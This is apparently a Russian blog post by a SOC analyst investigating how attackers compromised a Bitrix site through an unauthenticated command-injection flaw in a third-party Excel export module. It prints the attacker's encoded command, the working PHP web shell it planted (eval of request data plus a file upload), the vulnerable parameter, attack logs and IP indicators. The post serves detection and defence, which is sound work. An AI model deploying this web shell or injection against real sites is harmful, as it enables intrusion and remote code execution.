Привет, Хабр! Меня зовут Никита Полосухин, я старший системный аналитик центра мониторинга и реагирования на кибератаки RED Security SOC. В этом материале я хочу снова поднять тему важности своевременных обновлений и актуализации версий CMS и их компонентов. В мире ИБ про это знают почти все, но вот коллегам из администрирования и бизнеса, я думаю, может быть полезно увидеть, почему хотя бы раз в год надо уделять время проверке и устранению уязвимостей.

В СМИ периодически появляется информация об массовых атаках на сайты на базе Bitrix с использованием уязвимостей в сторонних модулях — например, недавно компания предупреждала об уязвимости в подключаемых модулях от eSolutions и «Маяк».

Мы в центре мониторинга и реагирования на киберугрозы RED Security SOC тоже регулярно видим такие атаки. В этой статье покажем, как они выглядят in the wild, как их выявлять и блокировать их развитие.

Недавно наши аналитики Security SOC увидели интересную активность:

Выполнение Битриксом команд операционной системы, да и еще закодированных, не является нормой.

Вот полный вывод команды, исполняемой веб-сервером:

sh -c \"echo PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K|base64 -d|tee ../../a8b5932e8b50.php;php -v\"

Фактически эта команда записывала простой веб-шелл в корень сайта:

<?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

Если перевести на человеческий:

<?php 
 echo 409723 * 20;
 
 // Проверка, соответствует ли хеш MD5 куки "d" заданному значению
 if (md5($_COOKIE["d"]) == "17028f487cb2a84607646da3ad3878ec") {
     // Если условие верно, выводит "ok"
     echo "ok";
 
     // Выполняет PHP код, переданный через параметр запроса "id" после декодирования из base64
     eval(base64_decode($_REQUEST["id"]));
 
     // Проверяет, если POST параметр "up" равен "up"
     if ($_POST["up"] == "up") {
         // Копирует загруженный файл из временного местоположения в указанное
         @copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
     }
 }
 ?>

Такие веб-шеллы использовались в кампаниях по взлому CMS Bitrix, которые в последние годы наблюдаются в ландшафте киберугроз. Хотя заказчик уверял нас в актуальности обновлений CMS, мы пошли изучать, в чем же дело.

В качестве первичных данных мы запросили логи веб-сервера (так вышло, что они не заводились к нам в SIEM). Такие веб-шелы легко обнаруживаются антивирусом, поэтому мы предложили просканировать сайт с помощью kvrt нехитрым однострочником:

mkdir /tmp/trg;\
cd /tmp/trg;\
wget https://devbuilds.s.kaspersky-labs.com/kvrt_linux/latest/kvrt.run;\
./kvrt.run -- -d /tmp/trg/kv_chk -accepteula -silent -dontencrypt -details -custom -customonly /home/bitrix

С веб-шеллом все понятно, но нужно было найти, как же злодеи смогли выполнить код. Мы ожидали что-то типичное, вроде методов отсюда или отсюда. Но, изучив логи, увидели большое количество неудачных попыток эксплуатации уязвимостей из методичек. Что было интересным, так это POST-обращения к модулям расширения esolutions.su:

/bitrix/admin/esol_import_excel_cron_settings.php
/bitrix/admin/esol_export_excel_cron_settings.php
/bitrix/admin/esol_export_xml_cron_settings.php
/bitrix/admin/esol_import_xml_cron_settings.php
/bitrix/admin/kda_import_excel_cron_settings.php
/bitrix/admin/kda_import_excel_cron_settings.php

В момент выполнения кода в ОС на веб-сервер прилетел вот такой запрос:

45.142.122.113 — - [10/Mar/2025:12:15:51 +0300] “POST /bitrix/admin/kda_export_excel_cron_settings.php HTTP/1.1” 200 0 “<redacted>/bitrix/admin/kda_import_excel_cron_settings.php” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2932.91 Safari/537.36” “‑” “<redacted>” sn=”<redacted>” rt=0.066 ua=”127.0.0.1:8898” us=”200” ut=”0.066” ul=”0” cs=-

И сразу после него успешный ответ 200 от загруженного веб-шелла:

45.142.122.113 - - [10/Mar/2025:12:15:51 +0300] "GET /a8b5932e8b50.php HTTP/1.1" 200 0 "<redacted>/bitrix/admin/kda_export_excel_cron_settings.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2932.91 Safari/537.36" "-" "<redacted>" sn="<redacted>" rt=0.046 ua="127.0.0.1:8898" us="200" ut="0.046" ul="0" cs=-

Вероятно, уязвимость находилась где-то в этом модуле, но в открытых источниках быстро мы ничего не нашли. На момент написания текста уже есть упоминания здесь и здесь.

Дополнительно отметим, что доступ к админке CMS Bitrix был открыт для всех, хотя мы много раз говорили заказчику исправить это. Важная деталь: доступ в админку прикрывался стандартным методом Bitrix:

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

В теории без авторизации попасть в пространство админки было нельзя, но хост /bitrix/admin/kda_export_excel_cron_settings.php все же был доступен без предварительной авторизации. Почему это произошло, станет понятно далее.

Итак, мы запросили бекап сайта за неделю до эксплуатации уязвимости, чтобы понять причину происходящего и обнаружить более ранние попытки взлома. Также запросили логи веб-сервера за 10 дней его работы, чтобы отловить успешные и не очень попытки эксплуатации уязвимости.

Анализ уязвимого стороннего модуля

Начнем с модуля. Его код на сервере расположен тут: /home/bitrix/bitrix/admin/kda_export_excel_cron_settings.php

В нем мы находим редирект из области админки в область модулей Bitrix:

<?php
require($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/kda.exportexcel/admin/iblock_export_excel_cron_settings.php');
?>

Обратим внимание на эту часть модуля, важную для описания уязвимости:

1. Обязательная авторизация стоит не в самом начале модуля, а уже после какого-то кода. Из-за этого обращение на url было открыто для всех.

2. Если на url прилетал POST-запрос с аргументом action=getphpversion, то исполнение заходило в код, который был доступен без предварительной авторизации. Далее проверяется аргумент path, и, если он не пустой, выполнение продолжается.

3. Значение параметра path передается на вход функции exec без предварительной фильтрации... Без комментариев.

Разобравшись в причине уязвимости и еще раз прошерстив интернет, мы нашли ссылку от разработчика данного стороннего модуля, отсылающую к этой проблеме. В ней все отлично описано, указаны версии модулей, есть даже автоматизированный патч. Одна беда: сходу найти эту информацию, не погружаясь в расследование, очень сложно.

Анализ логов веб-сервера

Те, кто занимался мониторингом крупных сайтов и веб-ресурсов, знает, что их атакуют много и постоянно. Поэтому, просто пытаться вылавливать IP-адреса атакующих — задача выполнимая, но малоэффективная. Другое дело, когда у нас есть конкретные вектор уязвимости и шаблон с именем веб-шелла. В логах мы можем найти, насколько упорным был злоумышленник и какие еще адреса он использовал. Мы пробовали искать по следующим признакам:

1. Попытки делать POST-запрос на уязвимый url.

2. Обращение к файлам с именем [0-9a-f]{12}\.php .

Благодаря этому удалось расширить наши знания об угрозе:

1. Адрес, с которого эксплуатировалась уязвимость, появился в тот же день и работал исключительно по уязвимому url. Это говорит о целенаправленном характере атаки.

2. По характеру сканирования и обращения к файлам мы смогли найти еще два адреса, вероятно, связанных с первым найденным.

3. Мы узнали, что злоумышленник начал пытаться взломать сайт за 8 дней до того, как у него получилось.

Таким образом, постобработка данных, даже когда инцидент закрыт, может быть полезна. С ее помощью можно не только находить новые индикаторы, но и примерно определять цели злоумышленников.

Интересно, что через пару дней мы попробовали сделать еще один срез активности по тем же признакам и получили семь новых адресов атакующих. Конечно, они могут быть не связаны с первой кампанией, но почти все они принадлежат одному тому же хостинг-провайдеру, что может указывать на то, что все они используются одной и той же группировкой.

Как же этот веб-ресурс не взломали раньше? Возможно, у злоумышленников просто не доходили руки, или они не могли обойти Web Application Firewall. По анализу логов WAF и веб-сервера мы увидели, что подавляющее большинство запросов на эксплуатацию уязвимости, описанной выше, было заблокировано. Однако в конце концов атакующие все-таки нашли способ обойти WAF.

Выводы из этой атаки

В конце хотелось бы подсветить в чем-то очевидные, но очень важные вещи.

Предъявляйте требования к внедряемым модулям, проверяйте их и тестируйте перед эксплуатацией. Об этом уже много написано, но часто задачи бизнеса перекрывают эти требования. Если вы используете услуги подрядчика для обслуживания сайта, то не стесняйтесь задавать эти вопросы им.

Пожалуйста, закрывайте админку Bitrix. Ведь в этом нет ничего сложного (количество эндпоинтов с редиректом в админку большое, но конечное). Обновляйтесь вовремя. Причем актуализировать надо не только сами продукты и системы, но и их модули. Конечно, звучит банально, но хотя бы раз в год можно выделять на это время. А лучше делать это чаще.

Помните, что в мире ИБ нет серебряной пули, которая даст вам стопроцентную защиту. Так и в этом случае 99,9% запросов на эксплуатацию уязвимости отсекались WAF, однако хватило даже 0,1 процента, чтобы нанести ущерб системе. К счастью, в этом конкретном случае он был незначителен.

Оставляйте время немного «поиграться» с данными и проверить разные гипотезы при расследованиях. Даже этот довольно простой инцидент помог неплохо обогатить базу индикаторов. В более сложных кейсах можно получать и более интересные результаты.

Индикаторы

45.142.122.113
146.19.128.13
193.37.71.16
158.101.142.183
45.134.12.116
77.221.151.44
83.147.255.11
77.239.124.203
89.169.15.118